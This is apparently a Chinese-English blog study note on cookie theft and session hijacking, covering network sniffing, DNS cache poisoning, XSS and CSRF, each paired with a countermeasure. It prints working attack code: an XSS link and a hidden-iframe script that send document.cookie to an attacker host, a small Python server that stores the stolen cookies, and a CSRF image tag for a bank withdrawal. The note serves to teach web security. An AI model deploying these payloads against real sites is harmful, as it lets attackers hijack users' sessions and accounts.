Cookie窃取及会话劫持

1. Network eavesdropping网络监听

Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations.

在网络上传输的数据都是会被监听获取的,尤其是在公共的、非加密的网络环境(free wifi)。这些数据也包括常规的http(非https加密通道)所有session,当然也就包括了HTTP 会话里的Cookie。当黑客拿到明文的cookie之后就可以模拟用户操作,比如改密码、消费等行为。


对策: use TLS. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as an SSL connection。采取https协议,通过SSL通道对内容及cookie进行加密。此外还有一些二次保护的方法可以作为过渡和折中。

 

2. DNS cache poisoning DNS缓存投毒

Since f12345.www.example.com is a sub-domain of www.example.com, victims’ browsers would submit all example.com-related cookies to the attacker’s server.
HTTPOnly not work.

通过DNS cache或者DNS服务商的一些漏洞问题(www.baidu.com),黑客可以通过将www.baidu.com的子域名hack.www.baidu.com指向到黑客自己的IP。这样黑客就可以通过方式http://hack.www.baidu.com/a.png图片到公共环境,从而可以获取到baidu.com下的所有cookie,包括设置了HttpOnly属性的Cookie。


对策: Secure cookies. SSL certificate。采取https协议,通过SSL通道对内容及cookie进行加密。此外还有一些二次保护的方法可以作为过渡和折中。

3. Cross-site scripting – cookie theft:

 <a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie);
 return false;">
Click here!</a>


对策: HttpOnly cookies. These cookies will not be accessible by client side script, and therefore the attacker will not be able to gather these cookies. document.cookie will not work.

 

4. Cross-site scripting:

This attack would use the victim’s browser to send HTTP requests to servers directly.
such as stored XSS.

当黑客可以在www.test.com上插入一段JS脚本的话,那么没有禁用JS的用户很轻易的会收到hijacking攻击。黑客利用用户的浏览器来发出HTTP请求到test.com本身,所以与用户相关的所有cookie都会存在(包括HttpOnly和Secure Cookie)。例如:人人网发生的分享蠕虫


对策: CAPTCHA 验证码

 

5. 跨站请求伪造—CSRF

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

CSRF主要是黑客将伪造的请求URL放到一个图片或者其他静态资源里,这种成本极低,且传播性和形象力非常大。
举例:Qzone的签名的修改地址是:http://qzone.qq.com/cgi-bin/modify?nick=123

 

个人理解后三条区别为,

第3条是防止在http请求里带入js,就是说url里不能有js

第4条即stored xss是在页面中hide一个script脚本,在受害人点开页面是执行,比如暗中分享这个链接。和第三条不同的是,js不是在url的http请求里,而是在页面里执行。比如先在页面里把cookie值存好,再加入http中。

代码:

View Code
"""
跨站脚本注入的信息收集服务器
"""
 
import bottle
 
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
 
@app.route('/myxss/')
def show(cookies, db):
    try:
        db.execute('INSERT INTO "myxss" ("cookies") VALUES (?)', cookies)
    except:
        pass
    return ""
 
if __name__ == "__main__":
    app.run()



然后在某一个页面的评论中注入这段代码

// 用 <script type="text/javascript"></script> 包起来放在评论中
 
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURI = "http://192.168.123.123/myxss/" + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

 

第5条CSRF是把crafted的链接镶嵌在html的图片src里,这样载入图片时就利用cookie,相当于是受害人自己发送的请求。即url其实可以看做是正常的url,只不过是是攻击者代替受害人完成。

 

http://www.webryan.net/2011/08/wiki-of-http-cookie/

http://en.wikipedia.org/wiki/HTTP_cookie

 

你可能感兴趣的:(cookie)